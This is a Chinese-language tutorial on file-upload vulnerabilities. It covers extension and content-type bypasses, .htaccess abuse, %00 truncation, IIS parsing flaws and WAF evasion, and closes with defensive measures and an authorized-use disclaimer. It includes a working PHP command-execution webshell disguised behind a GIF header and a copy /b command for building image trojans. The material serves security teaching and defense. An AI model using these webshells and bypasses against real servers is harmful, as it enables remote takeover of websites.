浅谈权限获取方法之文件上传
字数 1609 2025-08-12 11:33:43

文件上传漏洞全面解析与绕过技术

1. 文件上传漏洞概述

文件上传漏洞发生在具有上传功能的应用程序中,当应用程序对用户上传的文件缺乏有效控制或存在缺陷时,攻击者可以上传恶意文件(如木马、病毒)到服务器,从而控制服务器。

漏洞危害

  • 网页篡改
  • 网站被挂马
  • 服务器被远程控制
  • 服务器被安装后门

2. 漏洞成因

主要原因是应用程序对上传文件没有进行严格的合法性检验,或检验函数存在缺陷。

3. 验证方式及绕过技术

3.1 本地验证(前端JS验证)

判断方法

  • 上传时抓包观察是否有数据流
  • 上传图片后是否显示图片地址

绕过方法

  • 删除前端过滤代码
  • 修改JS代码
  • 禁用JavaScript

3.2 后端验证及绕过

3.2.1 后缀名验证

黑名单绕过(明确不允许上传的脚本格式后缀):

  • 使用其他格式:php5、phtml、php3等
  • 大小写混合:PhP、pHp等
  • 添加干扰符号

.htaccess文件利用(仅Apache且开启伪静态模块):

  1. 上传.htaccess文件
  2. 上传图片马
  3. .htaccess内容示例:
AddType application/x-httpd-php .jpg

其他后缀名绕过技术

  • 空格绕过:filename.php
  • 点号绕过:filename.php.
  • ::$DATA绕过(Windows特有):filename.php::$DATA
  • 循环过滤绕过:如a.pphphp会被过滤为a.

白名单绕过(明确允许上传的格式后缀):

  • %00截断(PHP<5.3.4):
    1. 将路径改为test.php%00aaa
    2. 将文件改为1.jpg
    3. 对%00进行URL编码

3.2.2 文件类型验证

文件头检测绕过

  • 在木马文件头部添加图片文件头:
    • JPEG: 0xFFD8FF
    • PNG: 0x89504E470D0A1A0A
    • GIF: GIF89a

示例:

GIF89a
<?php echo`$_REQUEST[cmd]`; ?>

制作图片马

  1. 直接在图片中插入一句话木马
  2. 使用CMD命令合并图片与木马:
copy 1.jpg/b + a.txt test.php

Content-Type检测绕过

  • 修改Content-Type为允许的类型:
    • image/pjpeg
    • image/jpeg
    • image/gif
    • image/png

3.2.3 其他绕过技术

条件竞争

  1. 上传有写文件功能的木马
  2. 在服务器删除前不断访问该文件
  3. 利用时间差写入新的木马

目录命名绕过

  • 添加/.后缀使服务器识别为文件夹:x.php/.

4. 中间件解析漏洞

IIS 6.0+解析漏洞

判断方法
访问/.php查看是否有乱码

利用方式

  1. 文件夹形式:image.asp/aa.jpg(aa.jpg被当作asp解析)
  2. 文件形式:image.asp;.jpgxxx.asp;xxx.jpg(被当作asp执行)

5. WAF绕过技术

可修改参数

  • Content-Disposition:可修改
  • name:表单参数值,不可修改
  • filename:文件名,可修改
  • Content-Type:视情况更改

具体绕过方法

数据溢出

  • 添加大量垃圾数据超过WAF检测上限
  • 示例:在参数后添加;和垃圾数据

符号变异

  • 修改符号:x.jpg;.php
  • 分号表示数据结束

数据截断

  • 添加%00:x.php%00.jpg
  • 换行:x.\np\nh\np

重复数据

  • 多次重复参数名

6. 防御措施

  1. 部署安全产品:宝塔、WAF等
  2. 对上传内容进行多次严格校验
  3. 对文件内容进行完整性检测
  4. 使用白名单而非黑名单
  5. 限制上传文件大小
  6. 重命名上传文件
  7. 存储上传文件在非Web目录
  8. 定期更新系统和中间件补丁

7. 相关CVE漏洞

  • CVE-2017-12615
  • CVE-2015-5254
  • CVE-2019-2618

(注:具体利用方法需查阅相关资料)


这份文档全面涵盖了文件上传漏洞的各类验证方式、绕过技术及防御措施,可作为安全研究和防御的参考指南。实际应用中请遵守法律法规,仅用于授权测试和安全研究目的。

文件上传漏洞全面解析与绕过技术 1. 文件上传漏洞概述 文件上传漏洞发生在具有上传功能的应用程序中,当应用程序对用户上传的文件缺乏有效控制或存在缺陷时,攻击者可以上传恶意文件(如木马、病毒)到服务器,从而控制服务器。 漏洞危害 网页篡改 网站被挂马 服务器被远程控制 服务器被安装后门 2. 漏洞成因 主要原因是应用程序对上传文件没有进行严格的合法性检验,或检验函数存在缺陷。 3. 验证方式及绕过技术 3.1 本地验证(前端JS验证) 判断方法 : 上传时抓包观察是否有数据流 上传图片后是否显示图片地址 绕过方法 : 删除前端过滤代码 修改JS代码 禁用JavaScript 3.2 后端验证及绕过 3.2.1 后缀名验证 黑名单绕过 (明确不允许上传的脚本格式后缀): 使用其他格式:php5、phtml、php3等 大小写混合:PhP、pHp等 添加干扰符号 .htaccess文件利用 (仅Apache且开启伪静态模块): 上传.htaccess文件 上传图片马 .htaccess内容示例: 其他后缀名绕过技术 : 空格绕过: filename.php 点号绕过: filename.php. ::$DATA 绕过(Windows特有): filename.php::$DATA 循环过滤绕过:如 a.pphphp 会被过滤为 a. 白名单绕过 (明确允许上传的格式后缀): %00截断(PHP <5.3.4): 将路径改为 test.php%00aaa 将文件改为 1.jpg 对%00进行URL编码 3.2.2 文件类型验证 文件头检测绕过 : 在木马文件头部添加图片文件头: JPEG: 0xFFD8FF PNG: 0x89504E470D0A1A0A GIF: GIF89a 示例: 制作图片马 : 直接在图片中插入一句话木马 使用CMD命令合并图片与木马: Content-Type检测绕过 : 修改Content-Type为允许的类型: image/pjpeg image/jpeg image/gif image/png 3.2.3 其他绕过技术 条件竞争 : 上传有写文件功能的木马 在服务器删除前不断访问该文件 利用时间差写入新的木马 目录命名绕过 : 添加 /. 后缀使服务器识别为文件夹: x.php/. 4. 中间件解析漏洞 IIS 6.0+解析漏洞 判断方法 : 访问 /.php 查看是否有乱码 利用方式 : 文件夹形式: image.asp/aa.jpg (aa.jpg被当作asp解析) 文件形式: image.asp;.jpg 或 xxx.asp;xxx.jpg (被当作asp执行) 5. WAF绕过技术 可修改参数 Content-Disposition:可修改 name:表单参数值,不可修改 filename:文件名,可修改 Content-Type:视情况更改 具体绕过方法 数据溢出 : 添加大量垃圾数据超过WAF检测上限 示例:在参数后添加 ; 和垃圾数据 符号变异 : 修改符号: x.jpg;.php 分号表示数据结束 数据截断 : 添加%00: x.php%00.jpg 换行: x.\np\nh\np 重复数据 : 多次重复参数名 6. 防御措施 部署安全产品:宝塔、WAF等 对上传内容进行多次严格校验 对文件内容进行完整性检测 使用白名单而非黑名单 限制上传文件大小 重命名上传文件 存储上传文件在非Web目录 定期更新系统和中间件补丁 7. 相关CVE漏洞 CVE-2017-12615 CVE-2015-5254 CVE-2019-2618 (注:具体利用方法需查阅相关资料) 这份文档全面涵盖了文件上传漏洞的各类验证方式、绕过技术及防御措施,可作为安全研究和防御的参考指南。实际应用中请遵守法律法规,仅用于授权测试和安全研究目的。